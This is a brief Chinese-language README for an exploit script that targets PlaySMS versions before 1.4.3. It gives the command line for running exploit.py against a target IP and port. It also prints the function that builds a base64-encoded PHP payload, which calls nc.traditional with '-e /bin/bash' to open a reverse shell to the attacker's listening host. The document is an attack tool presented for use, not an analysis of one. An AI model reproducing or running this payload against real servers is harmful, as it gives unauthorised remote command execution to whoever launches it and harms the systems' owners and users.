用于利用 PlaySMS 1.4.3 之前版本的 Python 脚本
在你的机器上打开一个端口:

然后执行 exploit.py:

./exploit.py <target-ip> <target-port> <your-ip> <your-open-port>
你可能想要更改 exploit.py 创建的反弹 Shell
为此,你可以更改 exploit.py 第 14 到 19 行的函数 create_revshell_encoded:
def create_revshell_encoded(lhost,lport):
# Change if you need
revshell = "/*<?php /**/ system('/bin/nc.traditional "+lhost + " " + lport + " -e /bin/bash');"
revshell_encoded = base64_encode(revshell)
revshell_encoded = revshell_encoded.split('=')[0]
return revshell_encoded
这段代码是为利用一个特定场景而开发的,即目标机器上具有可用的 /bin/nc.traditional。